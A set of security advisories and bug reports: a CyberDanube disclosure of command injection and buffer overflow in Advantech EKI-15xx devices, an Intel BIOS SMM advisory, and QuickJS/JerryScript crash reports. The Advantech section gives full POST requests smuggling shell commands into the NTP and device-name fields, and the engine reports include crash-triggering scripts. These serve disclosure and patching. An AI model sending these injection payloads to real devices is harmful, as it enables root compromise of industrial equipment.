Advantech EKI-1524-CE series, EKI-1522 series, and EKI-1521 series suffer from command injection and buffer overflow vulnerabilities.

CyberDanube Security Research 20230511-0  
-------------------------------------------------------------------------------  
                title| Multiple Vulnerabilities  
              product| EKI-1524-CE series, EKI-1522 series, EKI-1521 series  
   vulnerable version| 1.21  
        fixed version| 1.24  
           CVE number| CVE-2023-2573, CVE-2023-2574, CVE-2023-2575  
               impact| High  
             homepage| https://advantech.com  
                found| 2023-03-06  
                   by| S. Dietz, T. Weber (Office Vienna)  
                     | CyberDanube Security Research  
                     | Vienna | St. Pölten  
                     |  
                     | https://www.cyberdanube.com  
-------------------------------------------------------------------------------

Vendor description  
-------------------------------------------------------------------------------  
"Advantech’s corporate vision is to enable an intelligent planet. The company  
is a global leader in the fields of IoT intelligent systems and embedded  
platforms. To embrace the trends of IoT, big data, and artificial intelligence,  
Advantech promotes IoT hardware and software solutions with the Edge  
Intelligence WISE-PaaS core to assist business partners and clients in  
connecting their industrial chains. Advantech is also working with business  
partners to co-create business ecosystems that accelerate the goal of  
industrial intelligence."

Source: https://www.advantech.com/en/about

Vulnerable versions  
-------------------------------------------------------------------------------  
EKI-1524-CE series / 1.21  
EKI-1522-CE series / 1.21  
EKI-1521-CE series / 1.21

Vulnerability overview  
-------------------------------------------------------------------------------  
1) Authenticated Command Injection (CVE-2023-2573, CVE-2023-2574)  
The web server of the device is prone to two authenticated command injections.  
These allow an attacker to gain full access to the underlying operating system  
of the device. This device class can be attached to legacy systems via RS-232,  
RS-422 or RS-485. Such peripheral systems can be affected by attacks to the  
device from malicious actors.

2) Buffer Overflow (CVE-2023-2575)  
The web server is prone to a buffer overflow, triggered due to missing input  
lenght validation in the NTP input field. According to the vendor, the NTP  
server string is expected to be 64 bytes long, which is not correctly checked.

Proof of Concept  
-------------------------------------------------------------------------------  
1) Authenticated Command Injection  
The web server is prone to two authenticated command injections via POST  
parameters. The following proof-of-concepts show how to inject commands to the  
system which gets executed with root permissions in the background:

1.1) Blind Authenticated Command Injection in NTP Server Name (CVE-2023-2573)  
The following POST request executes the command “;ping 10.0.0.1” on the system:  
===============================================================================  
POST /cgi-bin/index.cgi?func=setsys HTTP/1.1  
Host: 172.16.0.100  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 541  
Origin: http://172.16.0.100  
Connection: close  
Referer: http://172.16.0.100/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=test&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=6&min_name=45&sec_name=18&tz=UTC12%3A0&ntp_name=;ping+10.0.0.1;&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80

===============================================================================  
It is also possible to execute this command without any interceptor proxy by  
enclose it with ";", which results in the string “;ping 10.0.0.1;”.

1.2) Blind Authenticated Command Injection in Device Name (CVE-2023-2574)  
The device name can also be abused for command injection. It is only executed  
on reboot, but this can also be done via the device’s web-interface. A POST  
request which injects the command “;ls /etc;” can be looks like the following:  
===============================================================================  
POST /cgi-bin/index.cgi?func=setsys HTTP/1.1  
Host: 172.16.0.100  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 541  
Origin: http://172.16.0.100  
Connection: close  
Referer: http://172.16.0.100/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=;ls+/etc;&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=6&min_name=45&sec_name=18&tz=UTC12%3A0&ntp_name=&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80

===============================================================================  
Such command can also be injected by setting the device name to “;ls /etc;”.

2) Buffer Overflow (CVE-2023-2575)  
The following POST request can be used to trigger a buffer overflow  
vulnerability in the web server:  
===============================================================================  
POST /cgi-bin/index.cgi?func=setsys HTTP/1.1  
Host: 172.16.0.97  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 823  
Origin: http://172.16.0.97  
Connection: close  
Referer: http://172.16.0.97/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=test&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=7&min_name=2&sec_name=52&tz=UTC12%3A0&ntp_name=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80  
===============================================================================

The serial port of the device provides error messages, which already indicate  
that the stack has been corrupted:  
/ # *** Error in `./index.cgi': free(): invalid next size (normal): 0x00069828 ***  
*** Error in `./index.cgi': malloc(): memory corruption: 0x00069898 ***

Furthermore, the forked child processes seem to remain in the process list as  
zombies - three buffer overflows were triggered in this case:  
/ # ps  
PID   USER     COMMAND  
[...]  
  935 root     ./index.cgi func=setsys  
  959 root     ./index.cgi func=setsys  
  983 root     ./index.cgi func=setsys  
[...]

The vulnerabilities were manually verified on an emulated device by using the  
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution  
-------------------------------------------------------------------------------  
Update the product to the latest available firmware version.

Workaround  
-------------------------------------------------------------------------------  
None

Recommendation  
-------------------------------------------------------------------------------  
CyberDanube recommends Advantech customers to upgrade the firmware to the  
latest version available.

Contact Timeline  
-------------------------------------------------------------------------------  
2023-03-08: Contacting Advantech via Service Request form; No answer.  
2023-03-13: Contacting Advantech via Czech PSIRT (security@advantech.cz);  
            Vendor confirmed vulnerabilities and will provide a fixed firmware  
            until 2023-05-13. Asked vendor for affected models; Vendo  
            responded that EKI-1524/1522/1521 series are affected.  
2023-03-20: Asked for status update.  
2023-03-21: Vendor responded that the firmware is currently under testing.  
2023-03-31: Vendor statet, that firmware is done and sent it via email; Found  
            additional issues and responded to vendor.  
2023-04-01: Vendor asked multiple question.  
2023-04-02: Responded to vendor, answered questions and asked for a call;  
            Vendor agreed.  
2023-04-04: Set date for a call to 2023-04-10.  
2023-04-10: Clarified further issues.  
2023-04-23: Vendor sent notification that a beta release of the firmware is  
            available.  
2023-05-02: Vendor sent notification that a new firmware release is online.  
2023-05-04: Asked vendor if the advisory can be published earlier than agreed.  
2023-05-08: Asked for status update; Vendor confirmed that all vulnerabilities  
            have been fixed.  
2023-05-11: Coordinated release of security advisory.

Web: https://www.cyberdanube.com  
Twitter: https://twitter.com/cyberdanube  
Mail: research at cyberdanube dot com

EOF S. Dietz, T. Weber / @2023

Advantech EKI-15XX Series Command Injection / Buffer Overflow

Improper access control in the Intel(R) Server Board S2600WTT belonging to the Intel(R) Server Board S2600WT Family with the BIOS version 0016 may allow a privileged user to potentially enable escalation of privilege via local access.

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**SmmRuntime Escalation of Privilege**

Intel ID: 

INTEL-SA-00056

Product family: 

Intel® Server Board S1200/1400/1600/2400/2600/4600 series

Impact of vulnerability: 

Elevation of Privilege

Severity rating: 

Important

Original release: 

Aug 08, 2016

Last revised: 

Sep 30, 2016

**Summary:** 

Intel is releasing mitigations for a privilege escalation issue. This issue affects the UEFI BIOS of select Intel Products. The issue identified is a method that enables malicious code to gain access to System Management Mode (SMM).

**Description:** 

A malicious attacker with local administrative access can leverage the vulnerable function to gain access to System Management Mode (SMM) and take full control of the platform. Intel products that are listed below should apply the update.

Other vendors’ products which use the common BIOS function SmmRuntime may be impacted.  To find out whether a product you have may be vulnerable to this issue, please contact your system supplier.

  
The table below provides the list of Intel products impacted by the issue as well as the versions and the locations of the BIOS that contains the fix. If the customer system has BIOS version lower than one listed in the table customer is recommended to upgrade the BIOS to the version listed below, or later.

How to identify Intel® Server Boards model and BIOS version?

To identify the server board model and the BIOS version customer can use one of the methods below.

1.  For server systems running Microsoft Windows\* operating systems, download and run the Intel® System Support Utility and view

Detailed View – Computer – BIOS Version/Date

Detailed View – Computer – System Model

The utility will generate an output file with computer system information. The BIOS version and the board model should look like this:

BIOS Version/Date            Intel Corporation SE5C610.86B.01.01.0008.021120151325 , 02/11/2015 12:00 AM

System Model                    S2600WT2      

   2.  For server systems running Linux operating system customers should execute the commands below to obtain the BIOS version and the Board model respectively:

dmidecode -t 0 | grep Version | awk -F : '{ print $2 }' | sed s/\\ //g

dmidecode -t 2 | grep Product | awk -F : '{ print $2 }' | sed s/\\ //g

The first command will return the line of text similar to this:

SE5C610.86B.01.01.0016.033120161139

The second command will return the line of text similar to this:

S2600WTT

In this example the commands were executed on the Intel® Server Board S2600WTT belonging to the Intel® Server Board S2600WT Family with the BIOS version 0016.

Product Name

Recommended BIOS version (or later)

Intel® Server Board S1200RP Family

0006

Intel® Server Board S1400FP Family

0005

Intel® Server Board S1400SP Family

0005

Intel® Server Board S1600JP Family

0005

Intel® Server Board S2400BB Family

0005

Intel® Server Board S2400EP Family

0005

Intel® Server Board S2400SC Family

0005

Intel® Server Board S2600CO Family

0005

Intel® Server Board S2600CP Family

0005

Intel® Server Board S2600GL Family

Intel® Server Board S2600GZ Family

0005

Intel® Server Board S2600IP Family

0005

Intel® Workstation Board W2600CR Family

0005

Intel® Server Board S2600JF Family

0005

Intel® Server Board S2600WP Family

0005

Intel® Server Board S4600LH Family

Intel® Server Board S4600LT Family

0005

Intel® Server Board S2600CW Family

0018

Intel® Server Board S2600KP Family

0018

Intel® Server Board S2600TP Family

0018

Intel® Server Board S2600WT Family

0018

Intel® Server Board S1200BT

0044

**Recommendations:** 

Intel highly recommends applying the mitigations. For Intel branded products where a mitigation is still pending, we recommend following good security practices including running with least privilege and keeping security software and operating systems up to date.

**Acknowledgements:** 

N/A

Revision

Date

Description

1.1

16-August-2016

Removed Intel® Compute Module MFS2600KI due to EOL

1.2

23-August-2016

Removed EOLd boards and updated availability date

1.3

29-September-2016

Updated remaining boards with BIOS download URL

1.4

30-September-2016

Corrected Version Numbers

1.5

04-September-2018

Added S1200BT Family mitigations

1.6

09-May-2023

Updated CVE Number

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All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

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**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
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A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

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CVE-2023-30768: INTEL-SA-00056

QuickJS commit 2788d71 was discovered to contain a stack-overflow via the component js_proxy_isArray at quickjs.c.

**QuickJS Version**

Version : 2788d71

**platform**

Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86\_64)

**Build**

*   Address Sanitizer=On
*   Debug (and Release)

**PoC**testcase

Array . isArray ( \[ \] ) ; Array . isArray ( { } ) , Array . isArray ( null ) , Array . isArray ( 0 ) , Array . isArray ( 0.1 ) , Array . isArray ( " " ) , Array . isArray ( void 0 ) , Array . isArray ( new Proxy ( \[ \] , { } ) ) , Array . isArray ( new Proxy ( { } , { } ) ) , Array . isArray ( new Proxy ( new Proxy ( \[ \] , { } ) , { } ) ) , Array . isArray ( new Proxy ( new Proxy ( { } , { } ) , { } ) ) ; for ( var r \= new Proxy ( \[ \] , { } ) , y \= 0 ; y < 131072 ; y ++ ) r \= new Proxy ( r , { } ) ; Array . isArray ( r ) , RangeError ;

// poc.js
for (var r \= new Proxy (\[\],{}) , y \= 0 ; y < 131072 ; y ++ ) 
    r \= new Proxy (r, {}); 
Array . isArray (r);

**Execution steps & Output**

The js\_proxy\_isArray() function and the JS\_IsArray() function are calling each other recursively.  
infinite loop occurs here.

    $ ./qjs poc.js
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==2347865==ERROR: AddressSanitizer: stack-overflow on address 0x7ffcfb766fd8 (pc 0x557e466f5b94 bp 0x7ffcfb767110 sp 0x7ffcfb766fd8 T0)
        #0 0x557e466f5b93 in js_proxy_isArray ./quickjs/quickjs.c:45242
        #1 0x557e466f5f3f in JS_IsArray ./quickjs/quickjs.c:11975
        #2 0x557e466f5f3f in js_proxy_isArray ./quickjs/quickjs.c:45250
        #3 0x557e466f5f3f in JS_IsArray ./quickjs/quickjs.c:11975
        #4 0x557e466f5f3f in js_proxy_isArray ./quickjs/quickjs.c:45250
        #5 0x557e466f5f3f in JS_IsArray ./quickjs/quickjs.c:11975
        ...
        #491 0x557e466f5f3f in JS_IsArray ./quickjs/quickjs.c:11975
        #492 0x557e466f5f3f in js_proxy_isArray ./quickjs/quickjs.c:45250
        #493 0x557e466f5f3f in JS_IsArray ./quickjs/quickjs.c:11975
        #494 0x557e466f5f3f in js_proxy_isArray ./quickjs/quickjs.c:45250
        #495 0x557e466f5f3f in JS_IsArray ./quickjs/quickjs.c:11975
        #496 0x557e466f5f3f in js_proxy_isArray ./quickjs/quickjs.c:45250
    
    SUMMARY: AddressSanitizer: stack-overflow ./quickjs/quickjs.c:45242 in js_proxy_isArray
    ==2347865==ABORTING
    

Credits: @Ye0nny, @EJueon of the seclab-yonsei.

CVE-2023-31922: AddressSanitizer: stack-overflow · Issue #178 · bellard/quickjs

Jerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the jcontext_raise_exception at jerry-core/jcontext/jcontext.c.

**JerryScript revision**

Commit: 05dbbd1  
Version: v3.0.0

**Build platform**

Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86\_64)

**Build steps**

python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20

**Test case**

// poc.js
var t \= Function ( ) ; 
t \[ Symbol . species \] \= Object ; 
var e \= new Proxy ( { constructor : t  } , { set : function ( ) { } }  ) ; 
RegExp . prototype \[ Symbol . matchAll \] . call ( e ) ; 

**Execution steps & Output**

$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion '!jcontext\_has\_pending\_exception ()' failed at /jerryscript/jerry-core/jcontext/jcontext.c(jcontext\_raise\_exception):88.
Error: JERRY\_FATAL\_FAILED\_ASSERTION
Aborted (core dumped)

**Backtrace**

    (gdb) #0  0xf7f40d99 in __kernel_vsyscall ()                                                                            
    #1  0xf7c15276 in raise () from /lib32/libc.so.6                                                                        
    #2  0xf7bfd3f7 in abort () from /lib32/libc.so.6                                                                        
    #3  0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION)                                                  
        at /jerryscript/jerry-port/common/jerry-port-process.c:29                              
    #4  0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION)                                                       
        at /jerryscript/jerry-core/jrt/jrt-fatals.c:63                                         
    #5  0x08260d64 in jerry_assert_fail (                                                                                   
        assertion=0x8434bc0 <str> "!jcontext_has_pending_exception ()",                                                     
        file=0x8434b00 <str> "/jerryscript/jerry-core/jcontext/jcontext.c",                    
        function=0x8434c20 <__func__.jcontext_raise_exception> "jcontext_raise_exception", line=88)                         
        at /jerryscript/jerry-core/jrt/jrt-fatals.c:83                                         
    #6  0x0825e7b0 in jcontext_raise_exception (error=4115661203)                                                           
        at /jerryscript/jerry-core/jcontext/jcontext.c:88    
    #7  0x081f52e5 in ecma_raise_standard_error (error_type=JERRY_ERROR_SYNTAX, [0/1762]
        msg=ECMA_ERR_INVALID_REGEXP_FLAGS)    at /jerryscript/jerry-core/ecma/operations/ecma-exceptions.c:315#8  0x081f5a91 in ecma_raise_syntax_error (msg=ECMA_ERR_INVALID_REGEXP_FLAGS)
        at /jerryscript/jerry-core/ecma/operations/ecma-exceptions.c:456
    #9  0x08234ac7 in ecma_regexp_parse_flags (flags_str_p=<optimized out>, 
        flags_p=<optimized out>)
        at /jerryscript/jerry-core/ecma/operations/ecma-regexp-object.c:115
    #10 0x0835e0d2 in ecma_builtin_regexp_prototype_match_all (
        regexp_obj_p=0xffcd35c0, string_arg=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:504
    #11 ecma_builtin_regexp_prototype_dispatch_routine (
        builtin_routine_id=<optimized out>, this_arg=<optimized out>, 
        arguments_list_p=<optimized out>, arguments_number=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-regexp-prototype.c:598
    #12 0x081b94a5 in ecma_builtin_dispatch_routine (func_obj_p=<optimized out>, 
        this_arg_value=<optimized out>, arguments_list_p=0xffcd3690, 
        arguments_list_len=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
    #13 ecma_builtin_dispatch_call (obj_p=<optimized out>, 
        this_arg_value=<optimized out>, arguments_list_p=<optimized out>, 
        arguments_list_len=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
    #14 0x081fb6b8 in ecma_op_function_call_native_built_in (
        func_obj_p=0xf55004c0, this_arg_value=4115662259, 
        arguments_list_p=0xffcd38d4, arguments_list_len=0)
        at /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
    #15 0x081fa81d in ecma_op_function_call (func_obj_p=0xf55004c0, 
        this_arg_value=4115662259, arguments_list_p=0xffcd38d4,  
        arguments_list_len=0)
        at /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
    #16 0x0833172e in ecma_builtin_function_prototype_object_call (
        func_obj_p=0xf55004c0, arguments_list_p=0xffcd38d0, 
        arguments_number=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-function-prototype.c:288
    #17 ecma_builtin_function_prototype_dispatch_routine (
        builtin_routine_id=<optimized out>, this_arg=<optimized out>, 
        arguments_list_p=<optimized out>, arguments_number=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-function-prototype.c:529
    #18 0x081b94a5 in ecma_builtin_dispatch_routine (func_obj_p=<optimized out>, 
        this_arg_value=<optimized out>, arguments_list_p=0xffcd38d0, 
        arguments_list_len=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460
    #19 ecma_builtin_dispatch_call (obj_p=<optimized out>, 
        this_arg_value=<optimized out>, arguments_list_p=<optimized out>, 
        arguments_list_len=<optimized out>)
        at /jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489
    #20 0x081fb6b8 in ecma_op_function_call_native_built_in (
        func_obj_p=0xf5500460, this_arg_value=4115662019, 
        arguments_list_p=0xffcd3af4, arguments_list_len=1)
        at /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217
    #21 0x081fa81d in ecma_op_function_call (func_obj_p=0xf5500460, 
        this_arg_value=4115662019, arguments_list_p=0xffcd3af4,  
        arguments_list_len=1)
        at /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411
    #22 0x081fa5cf in ecma_op_function_validated_call (callee=4115661923, 
        this_arg_value=4115662019, arguments_list_p=0xffcd3af4,  
        arguments_list_len=1)
        at /jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1371
    #23 0x082d7631 in opfunc_call (frame_ctx_p=<optimized out>)
        at /jerryscript/jerry-core/vm/vm.c:758
    #24 vm_execute (frame_ctx_p=0xffcd3ac0)
        at /jerryscript/jerry-core/vm/vm.c:5217
    #25 0x082d4f62 in vm_run (shared_p=0xffcd3bb0, this_binding_value=4119870595, 
        lex_env_p=0xf57007b0)
        at /jerryscript/jerry-core/vm/vm.c:5312
    #26 0x082d4c39 in vm_run_global (bytecode_p=<optimized out>,  
        function_object_p=<optimized out>)
        at /jerryscript/jerry-core/vm/vm.c:286
    #27 0x0812a4e5 in jerry_run (script=4115663075)
        at /jerryscript/jerry-core/api/jerryscript.c:548
    #28 0x083eac3f in jerryx_source_exec_script (path_p=0xffcd5235 "test.js")
        at /jerryscript/jerry-ext/util/sources.c:68
    #29 0x0812162d in main (argc=<optimized out>, argv=<optimized out>)
        at /jerryscript/jerry-main/main-desktop.c:156
    (gdb) quit                                
    

credits: @EJueon, @Ye0nny of the seclab-yonsei.

CVE-2023-31919: Assertion '!jcontext_has_pending_exception ()' failed at /jerryscript/jerry-core/jcontext/jcontext.c(jcontext_raise_exception):88. · Issue #5069 · jerryscript-project/jerryscript

Jerryscript 3.0 (commit 1a2c047) was discovered to contain an Assertion Failure via the parser_parse_function_arguments at jerry-core/parser/js/js-parser.c.

**JerryScript revision**

Commit: 1a2c047  
Version: v3.0.0

**Build platform**

Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86\_64)

**Build steps**

python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20

**Test case**

// poc.js
class C { async#\* method ( 

**Execution steps & Output**

    $ ./jerryscript/build/bin/jerry poc.js
    ICE: Assertion 'context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION' failed at jerryscript/jerry-core/parser/js/js-parser.c(parser_parse_function_arguments):1587.
    Error: JERRY_FATAL_FAILED_ASSERTION
    Aborted
    

**Backtrace**

    #0  0xf7fcfd99 in __kernel_vsyscall ()
    #1  0xf7ca4276 in raise () from /lib32/libc.so.6
    #2  0xf7c8c3f7 in abort () from /lib32/libc.so.6
    #3  0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at jerryscript/jerry-port/common/jerry-port-process.c:29
    #4  0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at jerryscript/jerry-core/jrt/jrt-fatals.c:63
    #5  0x08260d64 in jerry_assert_fail (assertion=0x84433e0 <str> "context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION",
        file=0x8442ec0 <str> "jerryscript/jerry-core/parser/js/js-parser.c",
        function=0x8443440 <__func__.parser_parse_function_arguments> "parser_parse_function_arguments", line=1587)
        at jerryscript/jerry-core/jrt/jrt-fatals.c:83
    #6  0x0827592c in parser_parse_function_arguments (context_p=0xffffcd30, end_type=<optimized out>)
        at jerryscript/jerry-core/parser/js/js-parser.c:1587
    #7  0x0827240a in parser_parse_function (context_p=<optimized out>, status_flags=<optimized out>) at jerryscript/jerry-core/parser/js/js-parser.c:2685
    #8  0x08399b84 in lexer_construct_function_object (context_p=0xffffcd30, extra_status_flags=34717702)
        at jerryscript/jerry-core/parser/js/js-lexer.c:2695
    #9  0x083a30d3 in parser_parse_class_body (context_p=<optimized out>, opts=<optimized out>, class_name_index=0)
        at jerryscript/jerry-core/parser/js/js-parser-expr.c:908
    #10 parser_parse_class (context_p=<optimized out>, is_statement=<optimized out>) at jerryscript/jerry-core/parser/js/js-parser-expr.c:1110
    #11 0x083c9959 in parser_parse_statements (context_p=<optimized out>) at jerryscript/jerry-core/parser/js/js-parser-statm.c:2787
    #12 0x08284a26 in parser_parse_source (source_p=0xffffd030, parse_opts=<optimized out>, options_p=0xffffd100)
        at jerryscript/jerry-core/parser/js/js-parser.c:2280
    #13 0x08282c70 in parser_parse_script (source_p=0xffffd030, parse_opts=0, options_p=0xffffd100) at jerryscript/jerry-core/parser/js/js-parser.c:3326
    #14 0x08129a7d in jerry_parse_common (source_p=0xffffd030, options_p=<optimized out>, parse_opts=0) at jerryscript/jerry-core/api/jerryscript.c:412
    #15 0x08129698 in jerry_parse (source_p=<optimized out>, source_size=<optimized out>, options_p=<optimized out>)
        at jerryscript/jerry-core/api/jerryscript.c:480
    #16 0x083ea952 in jerryx_source_parse_script (path_p=<optimized out>) at jerryscript/jerry-ext/util/sources.c:52
    #17 0x083eac12 in jerryx_source_exec_script (path_p=0xffffd5e0 "poc.js") at jerryscript/jerry-ext/util/sources.c:63
    #18 0x0812162d in main (argc=<optimized out>, argv=<optimized out>) at jerryscript/jerry-main/main-desktop.c:156
    

Credits:  
@Ye0nny, @EJueon of the seclab-yonsei.

CVE-2023-31918: Assertion 'context_p->next_scanner_info_p->type == SCANNER_TYPE_FUNCTION' failed at jerryscript/jerry-core/parser/js/js-parser.c(parser_parse_function_arguments) · Issue #5064 · jerryscript-project/je

Jerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the ecma_big_uint_div_mod at jerry-core/ecma/operations/ecma-big-uint.c.

**JerryScript revision**

Commit: 05dbbd1  
Version: v3.0.0

**Build platform**

Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86\_64)

**Build steps**

python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20

**Test case**

// poc.js
var x \= BigInt ( 8 \*\* 16 + 1 ) ;  
x \*\* BigInt ( 4 ) / x; 

**Execution steps & Output**

$ ./jerryscript/build/bin/jerry poc.js
ICE: Assertion 'dividend\_end\_p\[0\] == divisor\_high && dividend\_end\_p\[-1\] < divisor\_high' failed at /jerryscript/jerry-core/ecma/operations/ecma-big-uint.c(ecma\_big\_uint\_div\_mod):1119.
Error: JERRY\_FATAL\_FAILED\_ASSERTION
Aborted

**Backtrace**

    (gdb) #0  0xf7efdd99 in __kernel_vsyscall ()                                                                                                                                                                                                                                                                         
    #1  0xf7bd2276 in raise () from /lib32/libc.so.6                                                                                                                                                                                                                                                                     
    #2  0xf7bba3f7 in abort () from /lib32/libc.so.6                                                                                                                                                                                                                                                                     
    #3  0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION)                                                                                                                                                                                                                                               
        at /jerryscript/jerry-port/common/jerry-port-process.c:29                                                                                                                                                                                                                           
    #4  0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION)                                                                                                                                                                                                                                                    
        at /jerryscript/jerry-core/jrt/jrt-fatals.c:63                                                                                                                                                                                                                                      
    #5  0x08260d64 in jerry_assert_fail (                                                                                                                                                                                                                                                                                
        assertion=0x846e200 <str> "dividend_end_p[0] == divisor_high && dividend_end_p[-1] < divisor_high",                                                                                                                                                                                                              
        file=0x846d800 <str> "/jerryscript/jerry-core/ecma/operations/ecma-big-uint.c",                                                                                                                                                                                                     
        function=0x846e080 <__func__.ecma_big_uint_div_mod> "ecma_big_uint_div_mod", line=1119)                                                                                                                                                                                                                          
        at /jerryscript/jerry-core/jrt/jrt-fatals.c:83                                                                                                                                                                                                                                      
    #6  0x08380b54 in ecma_big_uint_div_mod (dividend_value_p=0xf4203c40,                                                                                                                                                                                                                                                
        divisor_value_p=0xf5600630, is_mod=<optimized out>) 
        at /jerryscript/jerry-core/ecma/operations/ecma-big-uint.c:1119                                                                                                                                                                                                                     
    #7  0x081dfc96 in ecma_bigint_div_mod (left_value=4095753286, 
        right_value=4116710966, is_mod=<optimized out>)
        at /jerryscript/jerry-core/ecma/operations/ecma-bigint.c:1337                                                                                                                                                                                                                       
    #8  0x082be8b9 in do_number_arithmetic (op=<optimized out>, 
        left_value=<optimized out>, right_value=<optimized out>)
        at /jerryscript/jerry-core/vm/opcodes-ecma-arithmetics.c:148                                                                                                                                                                                                                        
    #9  0x082dd6f0 in vm_loop (frame_ctx_p=0xffdc12c0)
        at /jerryscript/jerry-core/vm/vm.c:3563
